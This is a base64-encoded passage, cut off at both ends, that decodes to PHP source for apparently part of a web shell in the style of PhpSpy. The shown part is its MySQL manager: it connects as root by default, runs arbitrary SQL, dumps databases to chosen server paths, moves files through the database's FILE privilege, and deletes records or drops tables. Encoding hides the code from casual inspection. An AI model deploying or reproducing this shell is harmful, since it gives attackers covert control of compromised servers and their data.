WVNRTCBJbmZvcm1hdGlvbicsJ25hbWUnPT4nZGJpbmZvJykpOwoJbWFrZWhpZGUoJ2FjdGlvbics
J3NxbGZpbGUnKTsKCXAoJzxwPicpOwoJcCgnREJIb3N0OicpOwoJbWFrZWlucHV0KGFycmF5KCdu
YW1lJz0+J2RiaG9zdCcsJ3NpemUnPT4yMCwndmFsdWUnPT4kZGJob3N0KSk7CglwKCc6Jyk7Cglt
YWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nZGJwb3J0Jywnc2l6ZSc9PjQsJ3ZhbHVlJz0+JGRicG9y
dCkpOwoJcCgnREJVc2VyOicpOwoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2RidXNlcicsJ3Np
emUnPT4xNSwndmFsdWUnPT4kZGJ1c2VyKSk7CglwKCdEQlBhc3M6Jyk7CgltYWtlaW5wdXQoYXJy
YXkoJ25hbWUnPT4nZGJwYXNzJywnc2l6ZSc9PjE1LCd2YWx1ZSc9PiRkYnBhc3MpKTsKCXAoJ0RC
TmFtZTonKTsKCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidkYm5hbWUnLCdzaXplJz0+MTUsJ3Zh
bHVlJz0+JGRibmFtZSkpOwoJcCgnREJDaGFyc2V0OicpOwoJbWFrZXNlbGVjdChhcnJheSgnbmFt
ZSc9PidjaGFyc2V0Jywnb3B0aW9uJz0+JGNoYXJzZXRzLCdzZWxlY3RlZCc9PiRjaGFyc2V0KSk7
CglwKCc8L3A+Jyk7Cglmb3JtZm9vdCgpOwoJcCgnPGZvcm0gYWN0aW9uPSInLiRzZWxmLiciIG1l
dGhvZD0iUE9TVCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbmFtZT0ibXlzcWxmaWxl
IiBpZD0ibXlzcWxmaWxlIj4nKTsKCXAoJzxoMj5VcGxvYWQgZmlsZTwvaDI+Jyk7CglwKCc8cD48
Yj5UaGlzIG9wZXJhdGlvbiB0aGUgREIgdXNlciBtdXN0IGhhcyBGSUxFIHByaXZpbGVnZTwvYj48
L3A+Jyk7CglwKCc8cD5TYXZlIHBhdGgoZnVsbHBhdGgpOiA8aW5wdXQgY2xhc3M9ImlucHV0IiBu
YW1lPSJzYXZlcGF0aCIgc2l6ZT0iNDUiIHR5cGU9InRleHQiIC8+IENob29zZSBhIGZpbGU6IDxp
bnB1dCBjbGFzcz0iaW5wdXQiIG5hbWU9InVwbG9hZGZpbGUiIHR5cGU9ImZpbGUiIC8+IDxhIGhy
ZWY9ImphdmFzY3JpcHQ6bXlzcWxmaWxlKFwnbXlzcWx1cGxvYWRcJyk7Ij5VcGxvYWQ8L2E+PC9w
PicpOwoJcCgnPGgyPkRvd25sb2FkIGZpbGU8L2gyPicpOwoJcCgnPHA+RmlsZTogPGlucHV0IGNs
YXNzPSJpbnB1dCIgbmFtZT0ibXlzcWxkbGZpbGUiIHNpemU9IjExNSIgdHlwZT0idGV4dCIgLz4g
PGEgaHJlZj0iamF2YXNjcmlwdDpteXNxbGZpbGUoXCdteXNxbGRvd25cJyk7Ij5Eb3dubG9hZDwv
YT48L3A+Jyk7CgltYWtlaGlkZSgnZGJob3N0Jyk7CgltYWtlaGlkZSgnZGJwb3J0Jyk7CgltYWtl
aGlkZSgnZGJ1c2VyJyk7CgltYWtlaGlkZSgnZGJwYXNzJyk7CgltYWtlaGlkZSgnZGJuYW1lJyk7
CgltYWtlaGlkZSgnY2hhcnNldCcpOwoJbWFrZWhpZGUoJ2RvaW5nJyk7CgltYWtlaGlkZSgnYWN0
aW9uJywnc3FsZmlsZScpOwoJcCgnPC9mb3JtPicpOwp9CgplbHNlaWYgKCRhY3Rpb24gPT0gJ3Nx
bGFkbWluJykgewoJISRkYmhvc3QgJiYgJGRiaG9zdCA9ICdsb2NhbGhvc3QnOwoJISRkYnVzZXIg
JiYgJGRidXNlciA9ICdyb290JzsKCSEkZGJwb3J0ICYmICRkYnBvcnQgPSAnMzMwNic7CgkkZGJm
b3JtID0gJzxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJjb25uZWN0IiBuYW1lPSJjb25uZWN0IiB2
YWx1ZT0iMSIgLz4nOwoJaWYoaXNzZXQoJGRiaG9zdCkpewoJCSRkYmZvcm0gLj0gIjxpbnB1dCB0
eXBlPVwiaGlkZGVuXCIgaWQ9XCJkYmhvc3RcIiBuYW1lPVwiZGJob3N0XCIgdmFsdWU9XCIkZGJo
b3N0XCIgLz5cbiI7Cgl9CglpZihpc3NldCgkZGJ1c2VyKSkgewoJCSRkYmZvcm0gLj0gIjxpbnB1
dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJkYnVzZXJcIiBuYW1lPVwiZGJ1c2VyXCIgdmFsdWU9XCIk
ZGJ1c2VyXCIgLz5cbiI7Cgl9CglpZihpc3NldCgkZGJwYXNzKSkgewoJCSRkYmZvcm0gLj0gIjxp
bnB1dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJkYnBhc3NcIiBuYW1lPVwiZGJwYXNzXCIgdmFsdWU9
XCIkZGJwYXNzXCIgLz5cbiI7Cgl9CglpZihpc3NldCgkZGJwb3J0KSkgewoJCSRkYmZvcm0gLj0g
IjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJkYnBvcnRcIiBuYW1lPVwiZGJwb3J0XCIgdmFs
dWU9XCIkZGJwb3J0XCIgLz5cbiI7Cgl9CglpZihpc3NldCgkZGJuYW1lKSkgewoJCSRkYmZvcm0g
Lj0gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJkYm5hbWVcIiBuYW1lPVwiZGJuYW1lXCIg
dmFsdWU9XCIkZGJuYW1lXCIgLz5cbiI7Cgl9CglpZihpc3NldCgkY2hhcnNldCkpIHsKCQkkZGJm
b3JtIC49ICI8aW5wdXQgdHlwZT1cImhpZGRlblwiIGlkPVwiY2hhcnNldFwiIG5hbWU9XCJjaGFy
c2V0XCIgdmFsdWU9XCIkY2hhcnNldFwiIC8+XG4iOwoJfQoKCWlmICgkZG9pbmcgPT0gJ2JhY2t1
cG15c3FsJyAmJiAkc2F2ZWFzZmlsZSkgewoJCWlmICghJHRhYmxlKSB7CgkJCW0oJ1BsZWFzZSBj
aG9vc2UgdGhlIHRhYmxlJyk7CgkJfSBlbHNlIHsKCQkJZGJjb25uKCRkYmhvc3QsJGRidXNlciwk
ZGJwYXNzLCRkYm5hbWUsJGNoYXJzZXQsJGRicG9ydCk7CgkJCSR0YWJsZSA9IGFycmF5X2ZsaXAo
JHRhYmxlKTsKCQkJJGZwID0gQGZvcGVuKCRwYXRoLCd3Jyk7CgkJCWlmICgkZnApIHsKCQkJCSRy
ZXN1bHQgPSBxKCdTSE9XIHRhYmxlcycpOwoJCQkJaWYgKCEkcmVzdWx0KSBwKCc8aDI+Jy5teXNx
bF9lcnJvcigpLic8L2gyPicpOwoJCQkJJG15c3FsZGF0YSA9ICcnOwoJCQkJd2hpbGUgKCRjdXJy
b3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KSkgewoJCQkJCWlmIChpc3NldCgkdGFibGVb
JGN1cnJvd1swXV0pKSB7CgkJCQkJCXNxbGR1bXB0YWJsZSgkY3Vycm93WzBdLCAkZnApOwoJCQkJ
CX0KCQkJCX0KCQkJCWZjbG9zZSgkZnApOwoJCQkJJGZpbGV1cmwgPSBzdHJfcmVwbGFjZShTQV9S
T09ULCcnLCRwYXRoKTsKCQkJCW0oJ0RhdGFiYXNlIGhhcyBzdWNjZXNzIGJhY2t1cCB0byA8YSBo
cmVmPSInLiRmaWxldXJsLiciIHRhcmdldD0iX2JsYW5rIj4nLiRwYXRoLic8L2E+Jyk7CgkJCQlt
eXNxbF9jbG9zZSgpOwoJCQl9IGVsc2UgewoJCQkJbSgnQmFja3VwIGZhaWxlZCcpOwoJCQl9CgkJ
fQoJfQoJaWYgKCRpbnNlcnQgJiYgJGluc2VydHNxbCkgewoJCSRrZXlzdHIgPSAkdmFsc3RyID0g
JHRtcCA9ICcnOwoJCWZvcmVhY2goJGluc2VydHNxbCBhcyAka2V5ID0+ICR2YWwpIHsKCQkJaWYg
KCR2YWwpIHsKCQkJCSRrZXlzdHIgLj0gJHRtcC4ka2V5OwoJCQkJJHZhbHN0ciAuPSAkdG1wLiIn
Ii5hZGRzbGFzaGVzKCR2YWwpLiInIjsKCQkJCSR0bXAgPSAnLCc7CgkJCX0KCQl9CgkJaWYgKCRr
ZXlzdHIgJiYgJHZhbHN0cikgewoJCQlkYmNvbm4oJGRiaG9zdCwkZGJ1c2VyLCRkYnBhc3MsJGRi
bmFtZSwkY2hhcnNldCwkZGJwb3J0KTsKCQkJbShxKCJJTlNFUlQgSU5UTyAkdGFibGVuYW1lICgk
a2V5c3RyKSBWQUxVRVMgKCR2YWxzdHIpIikgPyAnSW5zZXJ0IG5ldyByZWNvcmQgb2Ygc3VjY2Vz
cycgOiBteXNxbF9lcnJvcigpKTsKCQl9Cgl9CglpZiAoJHVwZGF0ZSAmJiAkaW5zZXJ0c3FsICYm
ICRiYXNlNjQpIHsKCQkkdmFsc3RyID0gJHRtcCA9ICcnOwoJCWZvcmVhY2goJGluc2VydHNxbCBh
cyAka2V5ID0+ICR2YWwpIHsKCQkJJHZhbHN0ciAuPSAkdG1wLiRrZXkuIj0nIi5hZGRzbGFzaGVz
KCR2YWwpLiInIjsKCQkJJHRtcCA9ICcsJzsKCQl9CgkJaWYgKCR2YWxzdHIpIHsKCQkJJHdoZXJl
ID0gYmFzZTY0X2RlY29kZSgkYmFzZTY0KTsKCQkJZGJjb25uKCRkYmhvc3QsJGRidXNlciwkZGJw
YXNzLCRkYm5hbWUsJGNoYXJzZXQsJGRicG9ydCk7CgkJCW0ocSgiVVBEQVRFICR0YWJsZW5hbWUg
U0VUICR2YWxzdHIgV0hFUkUgJHdoZXJlIExJTUlUIDEiKSA/ICdSZWNvcmQgdXBkYXRpbmcnIDog
bXlzcWxfZXJyb3IoKSk7CgkJfQoJfQoJaWYgKCRkb2luZyA9PSAnZGVsJyAmJiAkYmFzZTY0KSB7
CgkJJHdoZXJlID0gYmFzZTY0X2RlY29kZSgkYmFzZTY0KTsKCQkkZGVsZXRlX3NxbCA9ICJERUxF
VEUgRlJPTSAkdGFibGVuYW1lIFdIRVJFICR3aGVyZSI7CgkJZGJjb25uKCRkYmhvc3QsJGRidXNl
ciwkZGJwYXNzLCRkYm5hbWUsJGNoYXJzZXQsJGRicG9ydCk7CgkJbShxKCJERUxFVEUgRlJPTSAk
dGFibGVuYW1lIFdIRVJFICR3aGVyZSIpID8gJ0RlbGV0aW9uIHJlY29yZCBvZiBzdWNjZXNzJyA6
IG15c3FsX2Vycm9yKCkpOwoJfQoKCWlmICgkdGFibGVuYW1lICYmICRkb2luZyA9PSAnZHJvcCcp
IHsKCQlkYmNvbm4oJGRiaG9zdCwkZGJ1c2VyLCRkYnBhc3MsJGRibmFtZSwkY2hhcnNldCwkZGJw
b3J0KTsKCQlpZiAocSgiRFJPUCBUQUJMRSAkdGFibGVuYW1lIikpIHsKCQkJbSgnRHJvcCB0YWJs
ZSBvZiBzdWNjZXNzJyk7CgkJCSR0YWJsZW5hbWUgPSAnJzsKCQl9IGVsc2UgewoJCQltKG15c3Fs
X2Vycm9yKCkpOwoJCX0KCX0KCgkkY2hhcnNldHMgPSBhcnJheSgnJz0+J0RlZmF1bHQnLCdnYmsn
PT4nR0JLJywgJ2JpZzUnPT4nQmlnNScsICd1dGY4Jz0+J1VURi04JywgJ2xhdGluMSc9PidMYXRp
bjEnKTsKCglmb3JtaGVhZChhcnJheSgndGl0bGUnPT4nTVlTUUwgTWFuYWdlcicpKTsKCW1ha2Vo
aWRlKCdhY3Rpb24nLCdzcWxhZG1pbicpOwoJcCgnPHA+Jyk7CglwKCdEQkhvc3Q6Jyk7CgltYWtl
aW5wdXQoYXJyYXkoJ25hbWUnPT4nZGJob3N0Jywnc2l6ZSc9PjIwLCd2YWx1ZSc9PiRkYmhvc3Qp
KTsKCXAoJzonKTsKCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidkYnBvcnQnLCdzaXplJz0+NCwn
dmFsdWUnPT4kZGJwb3J0KSk7CglwKCdEQlVzZXI6Jyk7CgltYWtlaW5wdXQoYXJyYXkoJ25hbWUn
PT4nZGJ1c2VyJywnc2l6ZSc9PjE1LCd2YWx1ZSc9PiRkYnVzZXIpKTsKCXAoJ0RCUGFzczonKTsK
CW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidkYnBhc3MnLCdzaXplJz0+MTUsJ3ZhbHVlJz0+JGRi
cGFzcykpOwoJcCgnREJDaGFyc2V0OicpOwoJbWFrZXNlbGVjdChhcnJheSgnbmFtZSc9PidjaGFy
c2V0Jywnb3B0aW9uJz0+JGNoYXJzZXRzLCdzZWxlY3RlZCc9PiRjaGFyc2V0KSk7CgltYWtlaW5w
dXQoYXJyYXkoJ25hbWUnPT4nY29ubmVjdCcsJ3ZhbHVlJz0+J0Nvbm5lY3QnLCd0eXBlJz0+J3N1
Ym1pdCcsJ2NsYXNzJz0+J2J0JykpOwoJcCgnPC9wPicpOwoJZm9ybWZvb3QoKTsKPz4KPHNjcmlw
dCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgpmdW5jdGlvbiBlZGl0cmVjb3JkKGFjdGlvbiwgYmFz
ZTY0LCB0YWJsZW5hbWUpewoJaWYgKGFjdGlvbiA9PSAnZGVsJykgewoJCWlmICghY29uZmlybSgn
SXMgb3IgaXNuXCd0IGRlbGV0aW9uIHJlY29yZD8nKSkgcmV0dXJuOwoJfQoJJCgncmVjb3JkbGlz
dCcpLmRvaW5nLnZhbHVlPWFjdGlvbjsKCSQoJ3JlY29yZGxpc3QnKS5iYXNlNjQudmFsdWU9YmFz
ZTY0OwoJJCgncmVjb3JkbGlzdCcpLnRhYmxlbmFtZS52YWx1ZT10YWJsZW5hbWU7CgkkKCdyZWNv
cmRsaXN0Jykuc3VibWl0KCk7Cn0KZnVuY3Rpb24gbW9kZGJuYW1lKGRibmFtZSkgewoJaWYoIWRi
bmFtZSkgcmV0dXJuOwoJJCgnc2V0ZGJuYW1lJykuZGJuYW1lLnZhbHVlPWRibmFtZTsKCSQoJ3Nl
dGRibmFtZScpLnN1Ym1pdCgpOwp9CmZ1bmN0aW9uIHNldHRhYmxlKHRhYmxlbmFtZSxkb2luZyxw
YWdlKSB7CglpZighdGFibGVuYW1lKSByZXR1cm47CglpZiAoZG9pbmcpIHsKCQkkKCdzZXR0YWJs
ZScpLmRvaW5nLnZhbHVlPWRvaW5nOwoJfQoJaWYgKHBhZ2UpIHsKCQkkKCdzZXR0YWJsZScpLnBh
Z2UudmFsdWU9cGFnZTsKCX0KCSQoJ3NldHRhYmxlJykudGFibGVuYW1lLnZhbHVlPXRhYmxlbmFt
ZTsKCSQoJ3NldHRhYmxlJykuc3VibWl0KCk7Cn0KPC9zY3JpcHQ+Cjw/cGhwCgkvLyMrKyYjMTEx
ODsrfC0rCglmb3JtaGVhZChhcnJheSgnbmFtZSc9PidyZWNvcmRsaXN0JykpOwoJbWFrZWhpZGUo
J2RvaW5nJyk7CgltYWtlaGlkZSgnYWN0aW9uJywnc3FsYWRtaW4nKTsKCW1ha2VoaWRlKCdiYXNl
NjQnKTsKCW1ha2VoaWRlKCd0YWJsZW5hbWUnKTsKCXAoJGRiZm9ybSk7Cglmb3JtZm9vdCgpOwoK
CS8vLSYjMTA3Mzt8JiMxMDgwOy0gK3wrJiMxMDkwOwoJZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4n
c2V0ZGJuYW1lJykpOwoJbWFrZWhpZGUoJ2FjdGlvbicsJ3NxbGFkbWluJyk7CglwKCRkYmZvcm0p
OwoJaWYgKCEkZGJuYW1lKSB7CgkJbWFrZWhpZGUoJ2RibmFtZScpOwoJfQoJZm9ybWZvb3QoKTsK
CgkvLy0mIzEwNzM7fCYjMTA4MDsjJiMxMTAxOwoJZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4nc2V0
dGFibGUnKSk7CgltYWtlaGlkZSgnYWN0aW9uJywnc3FsYWRtaW4nKTsKCXAoJGRiZm9ybSk7Cglt
YWtlaGlkZSgndGFibGVuYW1lJyk7CgltYWtlaGlkZSgncGFnZScsJHBhZ2UpOwoJbWFrZWhpZGUo
J2RvaW5nJyk7Cglmb3JtZm9vdCgpOwoKCSRjYWNoZXRhYmxlcyA9IGFycmF5KCk7CgkkcGFnZW51
bSA9IDMwOwoJJHBhZ2UgPSBpbnR2YWwoJHBhZ2UpOwoJaWYoJHBhZ2UpIHsKCQkkc3RhcnRfbGlt
aXQgPSAoJHBhZ2UgLSAxKSAqICRwYWdlbnVtOwoJfSBlbHNlIHsKCQkkc3RhcnRfbGltaXQgPSAw
OwoJCSRwYWdlID0gMTsKCX0KCWlmIChpc3NldCgkZGJob3N0KSAmJiBpc3NldCgkZGJ1c2VyKSAm
JiBpc3NldCgkZGJwYXNzKSAmJiBpc3NldCgkY29ubmVjdCkpIHsKCQlkYmNvbm4oJGRiaG9zdCwg
JGRidXNlciwgJGRicGFzcywgJGRibmFtZSwgJGNoYXJzZXQsICRkYnBvcnQpOwoJCS8vKyYjMTEw
NTsrJiMxMDczOy0gK3wrJiMxMDkwOy0rLSYjMTA3NDsKCQkkbXlzcWx2ZXIgPSBteXNxbF9nZXRf
c2VydmVyX2luZm8oKTsKCQlwKCc8cD5NeVNRTCAnLiRteXNxbHZlci4nIHJ1bm5pbmcgaW4gJy4k
ZGJob3N0LicgYXMgJy4kZGJ1c2VyLidAJy4kZGJob3N0Lic8L3A+Jyk7CgkJJGhpZ2h2ZXIgPSAk
bXlzcWx2ZXIgPiAnNC4xJyA/IDEgOiAwOwoKCQkvLysmIzExMDU7KyYjMTA3MzstICt8KyYjMTA5
MDsKCQkkcXVlcnkgPSBxKCJTSE9XIERBVEFCQVNFUyIpOwoJCSRkYnMgPSBhcnJheSgpOwoJCSRk
YnNbXSA9ICctLSBTZWxlY3QgYSBkYXRhYmFzZSAtLSc7CgkJd2hpbGUoJGRiID0gbXlzcWxfZmV0
Y2hfYXJyYXkoJHF1ZXJ5KSkgewoJCQkkZGJzWyRkYlsnRGF0YWJhc2UnXV0gPSAkZGJbJ0RhdGFi
YXNlJ107CgkJfQoJCW1ha2VzZWxlY3QoYXJyYXkoJ3RpdGxlJz0+J1BsZWFzZSBzZWxlY3QgYSBk
YXRhYmFzZTonLCduYW1lJz0+J2RiW10nLCdvcHRpb24nPT4kZGJzLCdzZWxlY3RlZCc9PiRkYm5h
bWUsJ29uY2hhbmdlJz0+J21vZGRibmFtZSh0aGlzLm9wdGlvbnNbdGhpcy5zZWxlY3RlZEluZGV4
XS52YWx1ZSknLCduZXdsaW5lJz0+MSkpOwoJCSR0YWJsZWRiID0gYXJyYXkoKTsKCQlpZiAoJGRi
bmFtZSkgewoJCQlwKCc8cD4nKTsKCQkJcCgnQ3VycmVudCBkYWJhYmFzZTogPGEgaHJlZj0iamF2
YXNjcmlwdDptb2RkYm5hbWUoXCcnLiRkYm5hbWUuJ1wnKTsiPicuJGRibmFtZS4nPC9hPicpOwoJ
CQlpZiAoJHRhYmxlbmFtZSkgewoJCQkJcCgnIHwgQ3VycmVudCBUYWJsZTogPGEgaHJlZj0iamF2
YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlbmFtZS4nXCcpOyI+Jy4kdGFibGVuYW1lLic8L2E+
IFsgPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlbmFtZS4nXCcsIFwnaW5z
ZXJ0XCcpOyI+SW5zZXJ0PC9hPiB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0
YWJsZW5hbWUuJ1wnLCBcJ3N0cnVjdHVyZVwnKTsiPlN0cnVjdHVyZTwvYT4gfCA8YSBocmVmPSJq
YXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVuYW1lLidcJywgXCdkcm9wXCcpOyI+RHJvcDwv
YT4gXScpOwoJCQl9CgkJCXAoJzwvcD4nKTsKCQkJbXlzcWxfc2VsZWN0X2RiKCRkYm5hbWUpOwoK
CQkJJGdldG51bXNxbCA9ICcnOwoJCQkkcnVucXVlcnkgPSAwOwoJCQlpZiAoJHNxbF9xdWVyeSkg
ewoJCQkJJHJ1bnF1ZXJ5ID0gMTsKCQkJfQoJCQkkYWxsb3dlZGl0ID0gMDsKCQkJaWYgKCR0YWJs
ZW5hbWUgJiYgISRzcWxfcXVlcnkpIHsKCQkJCSRzcWxfcXVlcnkgPSAiU0VMRUNUICogRlJPTSAk
dGFibGVuYW1lIjsKCQkJCSRnZXRudW1zcWwgPSAkc3FsX3F1ZXJ5OwoJCQkJJHNxbF9xdWVyeSA9
ICRzcWxfcXVlcnkuIiBMSU1JVCAkc3RhcnRfbGltaXQsICRwYWdlbnVtIjsKCQkJCSRhbGxvd2Vk
aXQgPSAxOwoJCQl9CgkJCXAoJzxmb3JtIGFjdGlvbj0iJy4kc2VsZi4nIiBtZXRob2Q9IlBPU1Qi
PicpOwoJCQlwKCc8cD48dGFibGUgd2lkdGg9IjIwMCIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0i
MCIgY2VsbHNwYWNpbmc9IjAiPjx0cj48dGQgY29sc3Bhbj0iMiI+UnVuIFNRTCBxdWVyeS9xdWVy
aWVzIG9uIGRhdGFiYXNlICcuJGRibmFtZS4nOjwvdGQ+PC90cj48dHI+PHRkPjx0ZXh0YXJlYSBu
YW1lPSJzcWxfcXVlcnkiIGNsYXNzPSJhcmVhIiBzdHlsZT0id2lkdGg6NjAwcHg7aGVpZ2h0OjUw
cHg7b3ZlcmZsb3c6YXV0bzsiPicuaHRtbHNwZWNpYWxjaGFycygkc3FsX3F1ZXJ5LEVOVF9RVU9U
RVMpLic8L3RleHRhcmVhPjwvdGQ+PHRkIHN0eWxlPSJwYWRkaW5nOjAgNXB4OyI+PGlucHV0IGNs
YXNzPSJidCIgc3R5bGU9ImhlaWdodDo1MHB4OyIgbmFtZT0ic3VibWl0IiB0eXBlPSJzdWJtaXQi
IHZhbHVlPSJRdWVyeSIgLz48L3RkPjwvdHI+PC90YWJsZT48L3A+Jyk7CgkJCW1ha2VoaWRlKCd0
YWJsZW5hbWUnLCAkdGFibGVuYW1lKTsKCQkJbWFrZWhpZGUoJ2FjdGlvbicsJ3NxbGFkbWluJyk7
CgkJCXAoJGRiZm9ybSk7CgkJCXAoJzwvZm9ybT4nKTsKCQkJaWYgKCR0YWJsZW5hbWUgfHwgKCRy
dW5xdWVyeSAmJiAkc3FsX3F1ZXJ5KSkgewoJCQkJaWYgKCRkb2luZyA9PSAnc3RydWN0dXJlJykg
ewoJCQkJCSRyZXN1bHQgPSBxKCJTSE9XIENPTFVNTlMgRlJPTSAkdGFibGVuYW1lIik7CgkJCQkJ
JHJvd2RiID0gYXJyYXkoKTsKCQkJCQl3aGlsZSgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJl
c3VsdCkpIHsKCQkJCQkJJHJvd2RiW10gPSAkcm93OwoJCQkJCX0KCQkJCQlwKCc8dGFibGUgYm9y
ZGVyPSIwIiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjAiPicpOwoJCQkJCXAoJzx0ciBj
bGFzcz0iaGVhZCI+Jyk7CgkJCQkJcCgnPHRkPkZpZWxkPC90ZD4nKTsKCQkJCQlwKCc8dGQ+VHlw
ZTwvdGQ+Jyk7CgkJCQkJcCgnPHRkPk51bGw8L3RkPicpOwoJCQkJCXAoJzx0ZD5LZXk8L3RkPicp
OwoJCQkJCXAoJzx0ZD5EZWZhdWx0PC90ZD4nKTsKCQkJCQlwKCc8dGQ+RXh0cmE8L3RkPicpOwoJ
CQkJCXAoJzwvdHI+Jyk7CgkJCQkJZm9yZWFjaCAoJHJvd2RiIGFzICRyb3cpIHsKCQkJCQkJJHRo
aXNiZyA9IGJnKCk7CgkJCQkJCXAoJzx0ciBjbGFzcz0iJy4kdGhpc2JnLiciIG9ubW91c2VvdmVy
PSJ0aGlzLmNsYXNzTmFtZT1cJ2ZvY3VzXCc7IiBvbm1vdXNlb3V0PSJ0aGlzLmNsYXNzTmFtZT1c
JycuJHRoaXNiZy4nXCc7Ij4nKTsKCQkJCQkJcCgnPHRkPicuJHJvd1snRmllbGQnXS4nPC90ZD4n
KTsKCQkJCQkJcCgnPHRkPicuJHJvd1snVHlwZSddLic8L3RkPicpOwoJCQkJCQlwKCc8dGQ+Jy4k
cm93WydOdWxsJ10uJyZuYnNwOzwvdGQ+Jyk7CgkJCQkJCXAoJzx0ZD4nLiRyb3dbJ0tleSddLicm
bmJzcDs8L3RkPicpOwoJCQkJCQlwKCc8dGQ+Jy4kcm93WydEZWZhdWx0J10uJyZuYnNwOzwvdGQ+
Jyk7CgkJCQkJCXAoJzx0ZD4nLiRyb3dbJ0V4dHJhJ10uJyZuYnNwOzwvdGQ+Jyk7CgkJCQkJCXAo
JzwvdHI+Jyk7CgkJCQkJfQoJCQkJCXRiZm9vdCgpOwoJCQkJfSBlbHNlaWYgKCRkb2luZyA9PSAn
aW5zZXJ0JyB8fCAkZG9pbmcgPT0gJ2VkaXQnKSB7CgkJCQkJJHJlc3VsdCA9IHEoJ1NIT1cgQ09M
VU1OUyBGUk9NICcuJHRhYmxlbmFtZSk7CgkJCQkJd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9h
cnJheSgkcmVzdWx0KSkgewoJCQkJCQkkcm93ZGJbXSA9ICRyb3c7CgkJCQkJfQoJCQkJCSRycyA9
IGFycmF5KCk7CgkJCQkJaWYgKCRkb2luZyA9PSAnaW5zZXJ0JykgewoJCQkJCQlwKCc8aDI+SW5z
ZXJ0IG5ldyBsaW5lIGluICcuJHRhYmxlbmFtZS4nIHRhYmxlICZyYXF1bzs8L2gyPicpOwoJCQkJ
CX0gZWxzZSB7CgkJCQkJCXAoJzxoMj5VcGRhdGUgcmVjb3JkIGluICcuJHRhYmxlbmFtZS4nIHRh
YmxlICZyYXF1bzs8L2gyPicpOwoJCQkJCQkkd2hlcmUgPSBiYXNlNjRfZGVjb2RlKCRiYXNlNjQp
OwoJCQkJCQkkcmVzdWx0ID0gcSgiU0VMRUNUICogRlJPTSAkdGFibGVuYW1lIFdIRVJFICR3aGVy
ZSBMSU1JVCAxIik7CgkJCQkJCSRycyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpOwoJCQkJ
CX0KCQkJCQlwKCc8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0iJy4kc2VsZi4nIj4nKTsKCQkJ
CQlwKCRkYmZvcm0pOwoJCQkJCW1ha2VoaWRlKCdhY3Rpb24nLCdzcWxhZG1pbicpOwoJCQkJCW1h
a2VoaWRlKCd0YWJsZW5hbWUnLCR0YWJsZW5hbWUpOwoJCQkJCXAoJzx0YWJsZSBib3JkZXI9IjAi
IGNlbGxwYWRkaW5nPSIzIiBjZWxsc3BhY2luZz0iMCI+Jyk7CgkJCQkJZm9yZWFjaCAoJHJvd2Ri
IGFzICRyb3cpIHsKCQkJCQkJaWYgKCRyc1skcm93WydGaWVsZCddXSkgewoJCQkJCQkJJHZhbHVl
ID0gaHRtbHNwZWNpYWxjaGFycygkcnNbJHJvd1snRmllbGQnXV0pOwoJCQkJCQl9IGVsc2UgewoJ
CQkJCQkJJHZhbHVlID0gJyc7CgkJCQkJCX0KCQkJCQkJJHRoaXNiZyA9IGJnKCk7CgkJCQkJCXAo
Jzx0ciBjbGFzcz0iJy4kdGhpc2JnLiciIG9ubW91c2VvdmVyPSJ0aGlzLmNsYXNzTmFtZT1cJ2Zv
Y3VzXCc7IiBvbm1vdXNlb3V0PSJ0aGlzLmNsYXNzTmFtZT1cJycuJHRoaXNiZy4nXCc7Ij4nKTsK
CQkJCQkJcCgnPHRkPjxiPicuJHJvd1snRmllbGQnXS4nPC9iPjxiciAvPicuJHJvd1snVHlwZSdd
Lic8L3RkPjx0ZD48dGV4dGFyZWEgY2xhc3M9ImFyZWEiIG5hbWU9Imluc2VydHNxbFsnLiRyb3db
J0ZpZWxkJ10uJ10iIHN0eWxlPSJ3aWR0aDo1MDBweDtoZWlnaHQ6NjBweDtvdmVyZmxvdzphdXRv
OyI+Jy4kdmFsdWUuJzwvdGV4dGFyZWE+PC90ZD48L3RyPicpOwoJCQkJCX0KCQkJCQlpZiAoJGRv
aW5nID09ICdpbnNlcnQnKSB7CgkJCQkJCXAoJzx0ciBjbGFzcz0iJy5iZygpLiciPjx0ZCBjb2xz
cGFuPSIyIj48aW5wdXQgY2xhc3M9ImJ0IiB0eXBlPSJzdWJtaXQiIG5hbWU9Imluc2VydCIgdmFs
dWU9Ikluc2VydCIgLz48L3RkPjwvdHI+Jyk7CgkJCQkJfSBlbHNlIHsKCQkJCQkJcCgnPHRyIGNs
YXNzPSInLmJnKCkuJyI+PHRkIGNvbHNwYW49IjIiPjxpbnB1dCBjbGFzcz0iYnQiIHR5cGU9InN1
Ym1pdCIgbmFtZT0idXBkYXRlIiB2YWx1ZT0iVXBkYXRlIiAvPjwvdGQ+PC90cj4nKTsKCQkJCQkJ
bWFrZWhpZGUoJ2Jhc2U2NCcsICRiYXNlNjQpOwoJCQkJCX0KCQkJCQlwKCc8L3RhYmxlPjwvZm9y
bT4nKTsKCQkJCX0gZWxzZSB7CgkJCQkJJHF1ZXJ5cyA9IEBleHBsb2RlKCc7Jywkc3FsX3F1ZXJ5
